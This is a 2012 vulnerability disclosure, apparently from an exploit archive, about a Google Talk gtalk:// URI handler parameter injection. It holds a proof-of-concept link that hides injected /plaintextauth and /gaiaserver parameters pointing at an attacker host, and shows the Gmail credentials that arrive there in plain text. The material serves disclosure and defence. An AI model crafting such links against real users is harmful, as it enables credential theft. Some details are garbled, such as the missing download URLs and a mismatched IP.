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Google Talk Deprecated Handler Parameter Injection

Google Talk Deprecated Handler Parameter Injection
Posted Mar 21, 2012
Authored by rgod | Site retrogod.altervista.org

Google Talk suffers from a gtalk:// deprecated URI handler /gaiaserver parameter injection vulnerability.

tags | exploit
SHA-256 | dd0200b63213a631a98d8b18a1d3d1e692a8ed783e1bb7c44a88df16a470ae7f

Google Talk Deprecated Handler Parameter Injection

Change Mirror Download
Google Talk gtalk:// Deprecated Uri Handler /gaiaserver Parameter Injection Vulnerability 

tested against: Internet Explorer 8
Microsoft Windows (all versions)

download url of

download urls of

rgod: "Why two versions are downloadable on the internet at the same time?"

- Who is vulnerable?

- More probably international users, non Eglish speaking one

- When this attack does not work:

-when you install Google Talk
-then you uninstall diligently
-then you install

-When this attack works:

-when you install Google Talk
-then you install


-when you installed multiple times, never using the uninstall functionality
which is the reality of it


Because has not the gtalk:// uri handler functionality but the command line behaviour changed
Indeeds, or are not vulnerable alone but, when installed, does not remove
the old uri handler.

My girlfriend's comment: "But people do not unistall the older one before installing the new one !!!! This is huge !!!!!!!!!!"
rgod : "You are right, two steps are better than three"

Vulnerability: Injection of custom parameters

Google Talk registers on windows a deprecated uri handler, registry dump:

"URL Protocol"=""



@="\"C:\\Program Files\\Google\\Google Talk\\googletalk.exe\" \"/%1\""

By crafting a link a remote user can inject custom command line parameters.

injectable parameters:


Uses plain authentication mechanism

/gaiaserver [host:port]

Uses a different GAIA server to authenticate the client


Allows multiple instances of Google Talk

proof of concept:

<a href='gtalk://mymail@gmail.com ???????????????????????????????????????????????????????"%20/plaintextauth%20/gaiaserver%20192.168.2.101:80%20/nomutex%20/'>chat with me</a>

(???????????? ... are estethics, when prompted the victim does not see the other stuff)

Gmail credentials are sent to 192.168.201:80 instead of google default gaia server, packet dump when sniffing the network
or listening on that port:

POST /accounts/ClientAuth HTTP/1.1
Connection: Keep-Alive
Content-Length: [length]
Content-Type: application/x-www-form-urlencoded
User-Agent: Google Talk


password is plain text, urldecoded:

user: yout@gmail.com
pass: pass

Now you are done, you spiffed your password to the unknown (evil) world.

If you already logged in on gmail server olders credentials are sent without user interaction,
otherwise if the user tries to login manually credentials are sent aswell to the attacker server

//rgod - 7.39 21/03/2012

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